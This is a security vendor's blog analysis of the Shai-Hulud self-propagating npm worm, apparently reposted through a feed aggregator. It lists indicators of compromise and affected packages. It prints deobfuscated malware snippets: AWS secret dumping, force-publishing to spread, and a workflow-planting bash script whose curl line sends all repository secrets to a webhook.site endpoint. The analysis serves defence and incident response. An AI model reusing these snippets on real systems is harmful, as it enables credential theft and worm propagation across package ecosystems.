惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

C
Cisco Blogs
NISL@THU
NISL@THU
G
GRAHAM CLULEY
T
Threatpost
I
Intezer
D
Darknet – Hacking Tools, Hacker News & Cyber Security
P
Proofpoint News Feed
L
Lohrmann on Cybersecurity
Cisco Talos Blog
Cisco Talos Blog
P
Privacy & Cybersecurity Law Blog
Security Latest
Security Latest
P
Palo Alto Networks Blog
L
LINUX DO - 热门话题
Cyberwarzone
Cyberwarzone
AI
AI
Help Net Security
Help Net Security
Forbes - Security
Forbes - Security
T
The Exploit Database - CXSecurity.com
月光博客
月光博客
The GitHub Blog
The GitHub Blog
aimingoo的专栏
aimingoo的专栏
C
CERT Recently Published Vulnerability Notes
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
N
News and Events Feed by Topic
Recent Commits to openclaw:main
Recent Commits to openclaw:main
Scott Helme
Scott Helme
A
About on SuperTechFans
N
Netflix TechBlog - Medium
TaoSecurity Blog
TaoSecurity Blog
V
V2EX
MongoDB | Blog
MongoDB | Blog
AWS News Blog
AWS News Blog
Google DeepMind News
Google DeepMind News
Google Online Security Blog
Google Online Security Blog
O
OpenAI News
Y
Y Combinator Blog
S
Securelist
GbyAI
GbyAI
D
Docker
SecWiki News
SecWiki News
The Hacker News
The Hacker News
有赞技术团队
有赞技术团队
T
Tenable Blog
WordPress大学
WordPress大学
S
SegmentFault 最新的问题
P
Privacy International News Feed
S
Security Affairs
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Hacker News - Newest:
Hacker News - Newest: "LLM"
H
Hackread – Cybersecurity News, Data Breaches, AI and More

Step Security Blog

Announcing Dependabot Configuration Enhancements: Cooldown and Group Support - StepSecurity Securing Vibe Coding and AI Coding Agents: An End-to-End Approach with StepSecurity - StepSecurity Introducing StepSecurity Dev Machine Guard: Protecting Developer Machines from Supply Chain Attacks - StepSecurity Top 2024 Predictions for CI/CD Security - StepSecurity Dev Machine Guard Is Now Open Source: See What's Really Running on Your Developer Machine - StepSecurity Datadog's DevSecOps 2026 Report Validates What We've Been Building - StepSecurity hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions - Microsoft, DataDog, and CNCF Projects Hit So Far - StepSecurity Cline Supply Chain Attack Detected: cline@2.3.0 Silently Installs OpenClaw - StepSecurity StepSecurity’s Unified Protection Across the SDLC Infrastructure Threat Framework (SITF) - StepSecurity @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via launchctl Persistence - StepSecurity axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity Behind the Scenes: How StepSecurity Detected and Helped Remediate the Largest npm Supply Chain Attack - StepSecurity 10 Layers Deep: How StepSecurity Stops TeamPCP's Trivy Supply Chain Attack on GitHub Actions - StepSecurity Malicious IoliteLabs VSCode Extensions Target Solidity Developers on Windows, macOS, and Linux with Backdoor - StepSecurity TeamPCP Plants WAV Steganography Credential Stealer in telnyx PyPI Package - StepSecurity litellm: Credential Stealer Hidden in PyPI Wheel - StepSecurity Checkmarx KICS GitHub Action Compromised: Malware Injected in All Git Tags - StepSecurity CanisterWorm: How a Self-Propagating npm Worm Is Spreading Backdoors Across the Ecosystem - StepSecurity Trivy Compromised a Second Time - Malicious v0.69.4 Release, aquasecurity/setup-trivy, aquasecurity/trivy-action GitHub Actions Compromised - StepSecurity bittensor-wallet 4.0.2 Compromised on PyPI - Backdoor Exfiltrates Private Keys - StepSecurity Malicious npm Releases Found in Popular React Native Packages - 130K+ Monthly Downloads Compromised - StepSecurity Malicious Polymarket Bot Hides in Hijacked dev-protocol GitHub Org and Steals Wallet Keys - StepSecurity ForceMemo: Hundreds of GitHub Python Repos Compromised via Account Takeover and Force-Push - StepSecurity xygeni-action Compromised: C2 Reverse Shell Backdoor Injected via Tag Poisoning - StepSecurity kubernetes-el Compromised: How a Pwn Request Exploited a Popular Emacs Package - StepSecurity How StepSecurity Caught a Release Storm in Microsoft’s @types Packages - StepSecurity Harden Runner Now Supports Windows and macOS GitHub Actions Runners - StepSecurity 10,000 Open-Source Projects Now Secured by Harden-Runner Community-Tier: A Milestone Three Years in the Making - StepSecurity 20+ Popular NPM Packages Compromised (Chalk, Debug, Strip-ANSI, Color-Convert, Wrap-ANSI...) - StepSecurity 2024 in Review: The Evolution of CI/CD Security & What's Next - StepSecurity How to Use Docker in Actions Runner Controller (ARC) Runners Securely - StepSecurity Celebrating 1000 Repositories Secured with Harden Runner: A Journey of Growth and Collaboration - StepSecurity StepSecurity Detects Early Supply Chain Risk Signals in kilocode npm - StepSecurity Another npm Supply Chain Attack: The 'is' Package Compromise - StepSecurity anthropics/claude-code-action Security: How to Secure Claude Code in GitHub Actions with Harden-Runner - StepSecurity Harden-Runner detection: tj-actions/changed-files action is compromised - StepSecurity StepSecurity's Catalog of Fixes - StepSecurity Orchestrating Security: StepSecurity's Impact on 400+ Repositories and Future Plans - StepSecurity Announcing Anomalous Outbound Call Detection Using Machine Learning - StepSecurity Announcing GitHub Actions Advisor and StepSecurity Maintained Actions - StepSecurity Analysis of Backdoored XZ Utils Build Process with Harden-Runner - StepSecurity Announcing General Availability of Harden Runner - StepSecurity Milestone Achieved: 2500+ Public Repositories Secured with Harden-Runner - StepSecurity Build secretless CI/CD pipelines using wait-for-secrets - StepSecurity Introducing Apps & PATs: Centralized Visibility for GitHub Apps and Personal Access Tokens - StepSecurity CVE-2026-22709: Critical Sandbox Escape Vulnerability in vm2 - StepSecurity StepSecurity Now Supports Dark Mode - StepSecurity 2025 in Review: The Evolution of Supply Chain Security & What's Next - StepSecurity Bake Harden-Runner Into GitHub's Custom Runner Images for Organization-Wide CI/CD Security - StepSecurity StepSecurity Is Now Available on Azure Marketplace - StepSecurity Critical Remote Code Execution Vulnerabilities Discovered in React Server Components and Next.js - StepSecurity How Harden Runner Detected the Sha1-Hulud Supply Chain Attack in CNCF's Backstage Repository - StepSecurity Sha1-Hulud: The Second Coming - Zapier, ENS Domains, and Other Prominent NPM Packages Compromised - StepSecurity Supply Chain Security Alert: eslint-config-prettier Package Shows Signs of Compromise - StepSecurity 9,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Introducing npm Package Search: Find Where Any Package Was Introduced Across Your GitHub Organizations - StepSecurity StepSecurity Is Sponsoring GitHub Universe 2025 - StepSecurity s1ngularity: Popular Nx Build System Package Compromised with Data-Stealing Malware - StepSecurity Introducing StepSecurity Threat Intelligence: Real-Time Supply Chain Attack Alerts for Your SIEM - StepSecurity 8,000 Strong: Harden-Runner's Growing Impact on CI/CD Security - StepSecurity Securing Google Gemini in GitHub Actions with Harden-Runner - StepSecurity GhostAction Campaign: Over 3,000 Secrets Stolen Through Malicious GitHub Workflows - StepSecurity Introducing the NPM Package Cooldown Check - StepSecurity Securing GitHub Copilot in GitHub Actions with Harden-Runner - StepSecurity Calculate Your CI/CD Security ROI with StepSecurity's New ROI Calculator - StepSecurity How StepSecurity Harden Runner Detected Unexpected Microsoft Defender Installation on GitHub-hosted Ubuntu Runners - StepSecurity StepSecurity Harden Runner: Detect source code tampering during the build process - StepSecurity Suspicious Tag Movement in AWS’s GitHub Action: What Happened and Why It Matters - StepSecurity When 'Changed Files' Changed Everything: Our Black Hat 2025 Presentation on the tj-actions Supply Chain Breach - StepSecurity Lessons from AWS CodeBuild’s Memory-Dump Incident (CVE-2025-8217) - StepSecurity Supply Chain Security Alert: num2words PyPI Package Shows Signs of Compromise - StepSecurity When AI Meets CI/CD: Coding Agents in GitHub Actions Pose Hidden Security Risks - StepSecurity The GitHub Warning Everyone Ignores: 'This Commit Does Not Belong to Any Branch' - StepSecurity 8 GitHub Actions Secrets Management Best Practices to Follow - StepSecurity reviewdog GitHub Actions are compromised - StepSecurity 7,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Replace Third-Party Actions with StepSecurity Maintained Actions via Automated Pull Requests - StepSecurity StepSecurity Is Now Available on AWS Marketplace - StepSecurity Introducing StepSecurity Artifact Monitor: Detect Unauthorized Software Releases in minutes, not months - StepSecurity Introducing Workflow Run Policies: Guardrails for Blocking Non-Compliant GitHub Actions Runs - StepSecurity Harden-Runner Detects New Traffic to release-assets.githubusercontent.com Across Multiple Customers - StepSecurity Grafana GitHub Actions Security Incident - StepSecurity Export Harden-Runner Security Insights and Detections to Amazon S3 - StepSecurity Evolving Harden-Runner’s disable-sudo Policy for Improved Runner Security - StepSecurity Announcing Policy-Driven Automated Pull Requests for CI/CD Misconfiguration Remediation - StepSecurity Announcing StepSecurity’s Integration with RunsOn: Secure and Optimized CI/CD Pipelines - StepSecurity Secure Repo Just Got Better: New Features for GitHub Actions Security Best Practices - StepSecurity Why Compliance Auditors Are Looking at Your CI/CD Runners - And How to Prepare - StepSecurity Harden-Runner Flags Anomalous Outbound Call, Leading to Docker Documentation Update - StepSecurity StepSecurity Harden-Runner Now Secures GitHub Actions Workflows for Over 5,000 Open Source Projects - StepSecurity GitHub Actions Pwn Request Vulnerability - StepSecurity Prevent Ultralytics Style CI/CD Security Attacks with Network Security Controls - StepSecurity PyTorch Supply Chain Compromise - StepSecurity Unified Network Egress View: Centralize GitHub Actions Network Destinations for Your Enterprise - StepSecurity Uniting Developers and Security: Celebrating the Success of 500+ Open Source Projects Using StepSecurity's Orchestration Platform - StepSecurity 5 Effective Third-Party GitHub Actions Governance Best Practices - StepSecurity StepSecurity Recognized Among CRN’s "10 Hottest DevOps Startups Of 2024" - StepSecurity Streamline Your GitHub Actions Workflows with StepSecurity’s Latest Feature - StepSecurity StepSecurity Steps Up the Security Game with SOC 2 Type 2 Compliance - StepSecurity StepSecurity's Alignment with CISA's CI/CD Security Guidance - StepSecurity
Shai-Hulud: Self-Replicating Worm Compromises 500+ NPM Packages - StepSecurity
2025-11-23 · via Step Security Blog

Executive Summary

The NPM ecosystem is facing another critical supply chain attack. The popular @ctrl/tinycolor package, which receives over 2 million weekly downloads, has been compromised along with more than 40 other packages across multiple maintainers. This attack demonstrates a concerning evolution in supply chain threats - the malware includes a self-propagating mechanism that automatically infects downstream packages, creating a cascading compromise across the ecosystem. The compromised versions have been removed from npm.

In this post, we'll dive deep into the payload's mechanics, including deobfuscated code snippets, API call traces, and diagrams to illustrate the attack chain. Our analysis reveals a Webpack-bundled script (bundle.js) that leverages Node.js modules for reconnaissance, harvesting, and propagation; targeting Linux/macOS devs with access to NPM/GitHub/cloud creds.

Community Office Hour

To help the community respond to this incident, StepSecurity hosted a Community Office Hour on September 16th at 1 PM PT. The recording is available here: https://www.youtube.com/watch?v=D9jXoT1rtaQ

Technical Analysis

The attack unfolds through a sophisticated multi-stage chain that leverages Node.js's process.env for opportunistic credential access and employs Webpack-bundled modules for modularity. At the core of this attack is a ~3.6MB minified bundle.js file, which executes asynchronously during npm install. This execution is likely triggered via a hijacked postinstall script embedded in the compromised package.json.

Self-Propagation Engine

The malware includes a self-propagation mechanism through the NpmModule.updatePackage function. This function queries the NPM registry API to fetch up to 20 packages owned by the maintainer, then force-publishes patches to these packages. This creates a cascading compromise effect, recursively injecting the malicious bundle into dependent ecosystems across the NPM registry.

Credential Harvesting

The malware repurposes open-source tools like TruffleHog to scan the filesystem for high-entropy secrets. It searches for patterns such as AWS keys using regular expressions like AKIA[0-9A-Z]{16}. Additionally, the malware dumps the entire process.env, capturing transient tokens such as GITHUB_TOKEN and AWS_ACCESS_KEY_ID.

For cloud-specific operations, the malware enumerates AWS Secrets Manager using SDK pagination and accesses Google Cloud Platform secrets via the @google-cloud/secret-manager API. The malware specifically targets the following credentials:

  1. GitHub personal access tokens
  2. AWS access keys (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
  3. Google Cloud Platform service credentials
  4. Azure credentials
  5. Cloud metadata endpoints
  6. NPM authentication tokens

Persistence Mechanism

The malware establishes persistence by injecting a GitHub Actions workflow file (.github/workflows/shai-hulud-workflow.yml) via a base64-encoded bash script. This workflow triggers on push events and exfiltrates repository secrets using the expression ${{ toJSON(secrets) }} to a command and control endpoint. The malware creates branches by force-merging from the default branch (refs/heads/shai-hulud) using GitHub's /git/refs endpoint.

Data Exfiltration

The malware aggregates harvested credentials into a JSON payload, which is pretty-printed for readability. It then uploads this data to a new public repository named Shai-Hulud via the GitHub /user/repos API.

The entire attack design assumes Linux or macOS execution environments, checking for os.platform() === 'linux' || 'darwin'. It deliberately skips Windows systems. For a visual breakdown, see the attack flow diagram below:

Attack Mechanism

The compromise begins with a sophisticated minified JavaScript bundle injected into affected packages like @ctrl/tinycolor. This is not rudimentary malware but rather a sophisticated modular engine that uses Webpack chunks to organize OS utilities, cloud SDKs, and API wrappers.

The payload imports six core modules, each serving a specific function in the attack chain.

OS Recon (Module 71197)

This module calls getSystemInfo() to build a comprehensive system profile containing platform, architecture, platformRaw, and archRaw information. It dumps the entire process.env, capturing sensitive environment variables including AWS_ACCESS_KEY_ID, GITHUB_TOKEN, and other credentials that may be present in the environment.

Credential Harvesting Across Clouds

AWS (Module 56686)

The AWS harvesting module validates credentials using the STS AssumeRoleWithWebIdentityCommand. It then enumerates secrets using the @aws-sdk/client-secrets-manager library.

// Deobfuscated AWS harvest snippet
async getAllSecretValues() {
  const secrets = [];
  let nextToken;
  do {
    const resp = await client.send(new ListSecretsCommand({ NextToken: nextToken }));
    for (const secret of resp.SecretList || []) {
      const value = await client.send(new GetSecretValueCommand({ SecretId: secret.ARN }));
      secrets.push({ ARN: secret.ARN, SecretString: value.SecretString, SecretBinary: atob(value.SecretBinary) });  // Base64 decode binaries
    }
    nextToken = resp.NextToken;
  } while (nextToken);
  return secrets;
}

The module handles errors such as DecryptionFailure or ResourceNotFoundException silently through decorateServiceException wrappers. It targets all AWS regions via endpoint resolution.

GCP (Module 9897)

The GCP module uses @google-cloud/secret-manager to list secrets matching the pattern projects//secrets/. It implements pagination using nextPageToken and returns objects containing the secret name and decoded payload. The module fails silently on PERMISSION_DENIED errors without alerting the user.

Filesystem Secret Scanning (Module 94913)

This module spawns TruffleHog via child_process.exec('trufflehog filesystem / --json') to scan the entire filesystem. It parses the output for high-entropy matches, such as AWS keys found in ~/.aws/credentials.

Propagation Mechanics

NPM Pivot (Module 40766)

The NPM propagation module parses NPM_TOKEN from either ~/.npmrc or environment variables. After validating the token via the /whoami endpoint, it queries /v1/search?text=maintainer:${username}&size=20 to retrieve packages owned by the maintainer.

// Deobfuscated NPM update snippet
async updatePackage(pkg) {
  // Patch package.json (add self as dep?) and publish
  await exec(`npm version patch --force && npm publish --access public --token ${token}`);
}

This creates a cascading effect where an infected package leads to compromised maintainer credentials, which in turn infects all other packages maintained by that user.

GitHub Backdoor (Module 82036)

The GitHub backdoor module authenticates via the /user endpoint, requiring repo and workflow scopes. After listing organizations, it injects malicious code via a bash script (Module 941).

Here is the line-by-line bash script deconstruction:

# Deobfuscated Code snippet
#!/bin/bash
GITHUB_TOKEN="$1"
BRANCH_NAME="shai-hulud"
FILE_NAME=".github/workflows/shai-hulud-workflow.yml"

FILE_CONTENT=$(cat <<'EOF'
on: push  # Trigger on any push
jobs: process
  runs-on: ubuntu-latest
  steps:
  - run: curl -d "$CONTENTS" https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7;  # C2 exfil
         echo "$CONTENTS" | base64 -w 0 | base64 -w 0  # Double-base64 for evasion
    env: CONTENTS: ${{ toJSON(secrets) }}  # Dumps all repo secrets (GITHUB_TOKEN, AWS keys, etc.)
EOF
)

github_api() { curl -s -X "$1" -H "Authorization: token $GITHUB_TOKEN" ... "$API_BASE$2" }

REPOS_RESPONSE=$(github_api GET "/user/repos?affiliation=owner,collaborator,organization_member&since=2025-01-01T00:00:00Z&per_page=100")

while IFS= read -r repo; do
  # Get default branch SHA
  REF_RESPONSE=$(github_api GET "/repos/$REPO_FULL_NAME/git/ref/heads/$DEFAULT_BRANCH")
  BASE_SHA=$(jq -r '.object.sha' <<< "$REF_RESPONSE")

  BRANCH_DATA=$(jq -n '{ref: "refs/heads/shai-hulud", sha: "$BASE_SHA"}')
  github_api POST "/repos/$REPO_FULL_NAME/git/refs" "$BRANCH_DATA"  # Handles "already exists" gracefully

  FILE_DATA=$(jq -n '{message: "Add workflow", content: "$(base64 <<< "$FILE_CONTENT")", branch: "shai-hulud"}')
  github_api PUT "/repos/$REPO_FULL_NAME/contents/$FILE_NAME" "$FILE_DATA"  # Overwrites if exists
done

This workflow is executed as soon as the compromised package create a commit with it, which immediately exfiltrates all the secrets.

Exfiltration

The malware builds a comprehensive JSON payload containing system information, environment variables, and data from all modules. It then creates a public repository via the GitHub /repos POST endpoint using the function makeRepo('Shai-Hulud'). The repository is public by default to ensure easy access for the command and control infrastructure.

We are observing hundreds of such public repositories containing exfiltrated credentials. A GitHub search for "Shai-Hulud" repositories reveals the ongoing and widespread nature of this attack, with new repositories being created as more systems execute the compromised packages.

This exfiltration technique is similar to the Nx supply chain attack we analyzed previously, where attackers also used public GitHub repositories to exfiltrate stolen credentials. This pattern of using GitHub as an exfiltration endpoint appears to be a preferred method for supply chain attackers, as it blends in with normal developer activity and bypasses many traditional security controls.

These repositories contain sensitive information. The public nature of these repositories means that any attacker can access and potentially misuse these credentials, creating a secondary risk beyond the initial compromise.

The attack employs several evasion techniques including silent error handling (swallowed via catch {} blocks), no logging output, and disguising TruffleHog execution as a legitimate "security scan."

Runtime Analysis with Harden-Runner

We analyzed the malicious payload using StepSecurity Harden-Runner in a GitHub Actions workflow. Harden-Runner successfully flagged the suspicious behavior as anomalous. The public insights from this test reveal how the payload works:

https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/17774800387?runAttempt=1

  • The compromised package made unauthorized API calls to api.github.com during the npm install process
  • These API interactions were flagged as anomalous since legitimate package installations should not be making such external API calls

These runtime detections confirm the sophisticated nature of the attack, with the malware attempting credential harvesting, self-propagation to other packages, and data exfiltration - all during what appears to be a routine package installation.

Indicators of Compromise

The following indicators can help identify systems affected by this attack:

GitHub Search Queries for Detection

Use these GitHub search queries to identify potentially compromised repositories across your organization:

Search for malicious workflow file

Replace ACME with your GitHub organization name and use the following GitHub search query to discover all instance of shai-hulud-workflow.yml in your GitHub environment.

https://github.com/search?q=org%3AACME+path%3A**%2Fshai-hulud-workflow.yml&type=code

Search for malicious branch

To find malicious branches, you can use the following Bash script:

# List all repos and check for shai-hulud branch
gh repo list YOUR_ORG_NAME --limit 1000 --json nameWithOwner --jq '.[].nameWithOwner' | while read repo; do
  gh api "repos/$repo/branches" --jq '.[] | select(.name == "shai-hulud") | "'$repo' has branch: " + .name'
done

File Hashes

  • The malicious bundle.js file has a SHA-256 hash of: 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09

Network Indicators

  • Exfiltration endpoint: https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7

File System Indicators

  • Presence of malicious workflow file: .github/workflows/shai-hulud-workflow.yml

Suspicious Function Calls

  • Calls to NpmModule.updatePackage function

Suspicious API Calls

  • AWS API calls to secretsmanager.*.amazonaws.com endpoints, particularly BatchGetSecretValueCommand
  • GCP API calls to secretmanager.googleapis.com
  • NPM registry queries to registry.npmjs.org/v1/search
  • GitHub API calls to api.github.com/repos

Suspicious Process Executions

  • TruffleHog execution with arguments filesystem /
  • NPM publish commands with --force flag
  • Curl commands targeting webhook.site domains

Affected Packages

The following packages have been confirmed as compromised:

Row Package Name Version(s)
1 @ahmedhfarag/ngx-perfect-scrollbar 20.0.20
2 @ahmedhfarag/ngx-virtual-scroller 4.0.4
3 @art-ws/common 2.0.22, 2.0.28
4 @art-ws/config-eslint 2.0.4, 2.0.5
5 @art-ws/config-ts 2.0.7, 2.0.8
6 @art-ws/db-context 2.0.24
7 @art-ws/di 2.0.28, 2.0.32
8 @art-ws/di-node 2.0.13
9 @art-ws/eslint 1.0.5, 1.0.6
10 @art-ws/fastify-http-server 2.0.24, 2.0.27
11 @art-ws/http-server 2.0.21, 2.0.25
12 @art-ws/openapi 0.1.9, 0.1.12
13 @art-ws/package-base 1.0.5, 1.0.6
14 @art-ws/prettier 1.0.5, 1.0.6
15 @art-ws/slf 2.0.15, 2.0.22
16 @art-ws/ssl-info 1.0.9, 1.0.10
17 @art-ws/web-app 1.0.3, 1.0.4
18 @crowdstrike/commitlint 8.1.1, 8.1.2
19 @crowdstrike/falcon-shoelace 0.4.1, 0.4.2
20 @crowdstrike/foundry-js 0.19.1, 0.19.2
21 @crowdstrike/glide-core 0.34.2, 0.34.3
22 @crowdstrike/logscale-dashboard 1.205.1, 1.205.2
23 @crowdstrike/logscale-file-editor 1.205.1, 1.205.2
24 @crowdstrike/logscale-parser-edit 1.205.1, 1.205.2
25 @crowdstrike/logscale-search 1.205.1, 1.205.2
26 @crowdstrike/tailwind-toucan-base 5.0.1, 5.0.2
27 @ctrl/deluge 7.2.1, 7.2.2
28 @ctrl/golang-template 1.4.2, 1.4.3
29 @ctrl/magnet-link 4.0.3, 4.0.4
30 @ctrl/ngx-codemirror 7.0.1, 7.0.2
31 @ctrl/ngx-csv 6.0.1, 6.0.2
32 @ctrl/ngx-emoji-mart 9.2.1, 9.2.2
33 @ctrl/ngx-rightclick 4.0.1, 4.0.2
34 @ctrl/qbittorrent 9.7.1, 9.7.2
35 @ctrl/react-adsense 2.0.1, 2.0.2
36 @ctrl/shared-torrent 6.3.1, 6.3.2
37 @ctrl/tinycolor 4.1.1, 4.1.2
38 @ctrl/torrent-file 4.1.1, 4.1.2
39 @ctrl/transmission 7.3.1
40 @ctrl/ts-base32 4.0.1, 4.0.2
41 @hestjs/core 0.2.1
42 @hestjs/cqrs 0.1.6
43 @hestjs/demo 0.1.2
44 @hestjs/eslint-config 0.1.2
45 @hestjs/logger 0.1.6
46 @hestjs/scalar 0.1.7
47 @hestjs/validation 0.1.6
48 @nativescript-community/arraybuffers 1.1.6, 1.1.7, 1.1.8
49 @nativescript-community/gesturehandler 2.0.35
50 @nativescript-community/perms 3.0.5, 3.0.6, 3.0.7, 3.0.8
51 @nativescript-community/sentry 4.6.43
52 @nativescript-community/sqlite 3.5.2, 3.5.3, 3.5.4, 3.5.5
53 @nativescript-community/text 1.6.9, 1.6.10, 1.6.11, 1.6.12, 1.6.13
54 @nativescript-community/typeorm 0.2.30, 0.2.31, 0.2.32, 0.2.33
55 @nativescript-community/ui-collectionview 6.0.6
56 @nativescript-community/ui-document-picker 1.1.27, 1.1.28
57 @nativescript-community/ui-drawer 0.1.30
58 @nativescript-community/ui-image 4.5.6
59 @nativescript-community/ui-label 1.3.35, 1.3.36, 1.3.37
60 @nativescript-community/ui-material-bottom-navigation 7.2.72, 7.2.73, 7.2.74, 7.2.75
61 @nativescript-community/ui-material-bottomsheet 7.2.72
62 @nativescript-community/ui-material-core 7.2.72, 7.2.73, 7.2.74, 7.2.75, 7.2.76
63 @nativescript-community/ui-material-core-tabs 7.2.72, 7.2.73, 7.2.74, 7.2.75, 7.2.76
64 @nativescript-community/ui-material-ripple 7.2.72, 7.2.73, 7.2.74, 7.2.75
65 @nativescript-community/ui-material-tabs 7.2.72, 7.2.73, 7.2.74, 7.2.75
66 @nativescript-community/ui-pager 14.1.36, 14.1.37, 14.1.38
67 @nativescript-community/ui-pulltorefresh 2.5.4, 2.5.5, 2.5.6, 2.5.7
68 @nexe/config-manager 0.1.1
69 @nexe/eslint-config 0.1.1
70 @nexe/logger 0.1.3
71 @nstudio/angular 20.0.4, 20.0.5, 20.0.6
72 @nstudio/focus 20.0.4, 20.0.5, 20.0.6
73 @nstudio/nativescript-checkbox 2.0.6, 2.0.7, 2.0.8, 2.0.9
74 @nstudio/nativescript-loading-indicator 5.0.1, 5.0.2, 5.0.3, 5.0.4
75 @nstudio/ui-collectionview 5.1.11, 5.1.12, 5.1.13, 5.1.14
76 @nstudio/web 20.0.4
77 @nstudio/web-angular 20.0.4
78 @nstudio/xplat 20.0.5, 20.0.6, 20.0.7
79 @nstudio/xplat-utils 20.0.5, 20.0.6, 20.0.7
80 @operato/board 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.47, 9.0.48, 9.0.49, 9.0.50, 9.0.51
81 @operato/data-grist 9.0.29, 9.0.35, 9.0.36, 9.0.37
82 @operato/graphql 9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46
83 @operato/headroom 9.0.2, 9.0.35, 9.0.36, 9.0.37
84 @operato/help 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46
85 @operato/i18n 9.0.35, 9.0.36, 9.0.37
86 @operato/input 9.0.27, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.47, 9.0.48
87 @operato/layout 9.0.35, 9.0.36, 9.0.37
88 @operato/popup 9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.49
89 @operato/pull-to-refresh 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42
90 @operato/shell 9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39
91 @operato/styles 9.0.2, 9.0.35, 9.0.36, 9.0.37
92 @operato/utils 9.0.22, 9.0.35, 9.0.36, 9.0.37, 9.0.38, 9.0.39, 9.0.40, 9.0.41, 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.49
93 @teselagen/bio-parsers 0.4.30
94 @teselagen/bounce-loader 0.3.16, 0.3.17
95 @teselagen/file-utils 0.3.22
96 @teselagen/liquibase-tools 0.4.1
97 @teselagen/ove 0.7.40
98 @teselagen/range-utils 0.3.14, 0.3.15
99 @teselagen/react-list 0.8.19, 0.8.20
100 @teselagen/react-table 6.10.19, 6.10.20, 6.10.22
101 @teselagen/sequence-utils 0.3.34
102 @teselagen/ui 0.9.10
103 @thangved/callback-window 1.1.4
104 @things-factory/attachment-base 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.47, 9.0.48, 9.0.49, 9.0.50
105 @things-factory/auth-base 9.0.43, 9.0.44, 9.0.45
106 @things-factory/email-base 9.0.42, 9.0.43, 9.0.44, 9.0.45, 9.0.46, 9.0.47, 9.0.48, 9.0.49, 9.0.50, 9.0.51, 9.0.52, 9.0.53, 9.0.54
107 @things-factory/env 9.0.42, 9.0.43, 9.0.44, 9.0.45
108 @things-factory/integration-base 9.0.43, 9.0.44, 9.0.45
109 @things-factory/integration-marketplace 9.0.43, 9.0.44, 9.0.45
110 @things-factory/shell 9.0.43, 9.0.44, 9.0.45
111 @tnf-dev/api 1.0.8
112 @tnf-dev/core 1.0.8
113 @tnf-dev/js 1.0.8
114 @tnf-dev/mui 1.0.8
115 @tnf-dev/react 1.0.8
116 @ui-ux-gang/devextreme-angular-rpk 24.1.7
117 @yoobic/design-system 6.5.17
118 @yoobic/jpeg-camera-es6 1.0.13
119 @yoobic/yobi 8.7.53
120 airchief 0.3.1
121 airpilot 0.8.8
122 angulartics2 14.1.1, 14.1.2
123 browser-webdriver-downloader 3.0.8
124 capacitor-notificationhandler 0.0.2, 0.0.3
125 capacitor-plugin-healthapp 0.0.2, 0.0.3
126 capacitor-plugin-ihealth 1.1.8, 1.1.9
127 capacitor-plugin-vonage 1.0.2, 1.0.3
128 capacitorandroidpermissions 0.0.4, 0.0.5
129 config-cordova 0.8.5
130 cordova-plugin-voxeet2 1.0.24
131 cordova-voxeet 1.0.32
132 create-hest-app 0.1.9
133 db-evo 1.1.4, 1.1.5
134 devextreme-angular-rpk 21.2.8
135 ember-browser-services 5.0.2, 5.0.3
136 ember-headless-form 1.1.2, 1.1.3
137 ember-headless-form-yup 1.0.1
138 ember-headless-table 2.1.5, 2.1.6
139 ember-url-hash-polyfill 1.0.12, 1.0.13
140 ember-velcro 2.2.1, 2.2.2
141 encounter-playground 0.0.2, 0.0.3, 0.0.4, 0.0.5
142 eslint-config-crowdstrike 11.0.2, 11.0.3
143 eslint-config-crowdstrike-node 4.0.3, 4.0.4
144 eslint-config-teselagen 6.1.7, 6.1.8
145 globalize-rpk 1.7.4
146 graphql-sequelize-teselagen 5.3.8, 5.3.9
147 html-to-base64-image 1.0.2
148 json-rules-engine-simplified 0.2.1, 0.2.4
149 jumpgate 0.0.2
150 koa2-swagger-ui 5.11.1, 5.11.2
151 mcfly-semantic-release 1.3.1
152 mcp-knowledge-base 0.0.2
153 mcp-knowledge-graph 1.2.1
154 mobioffice-cli 1.0.3
155 monorepo-next 13.0.1, 13.0.2
156 mstate-angular 0.4.4
157 mstate-cli 0.4.7
158 mstate-dev-react 1.1.1
159 mstate-react 1.6.5
160 ng2-file-upload 7.0.2, 7.0.3, 8.0.1, 8.0.2, 8.0.3, 9.0.1
161 ngx-bootstrap 18.1.4, 19.0.3, 19.0.4, 20.0.3, 20.0.4, 20.0.5
162 ngx-color 10.0.1, 10.0.2
163 ngx-toastr 19.0.1, 19.0.2
164 ngx-trend 8.0.1
165 ngx-ws 1.1.5, 1.1.6
166 oradm-to-gql 35.0.14, 35.0.15
167 oradm-to-sqlz 1.1.2, 1.1.5
168 ove-auto-annotate 0.0.9, 0.0.10
169 pm2-gelf-json 1.0.4, 1.0.5
170 printjs-rpk 1.6.1
171 react-complaint-image 0.0.32, 0.0.35
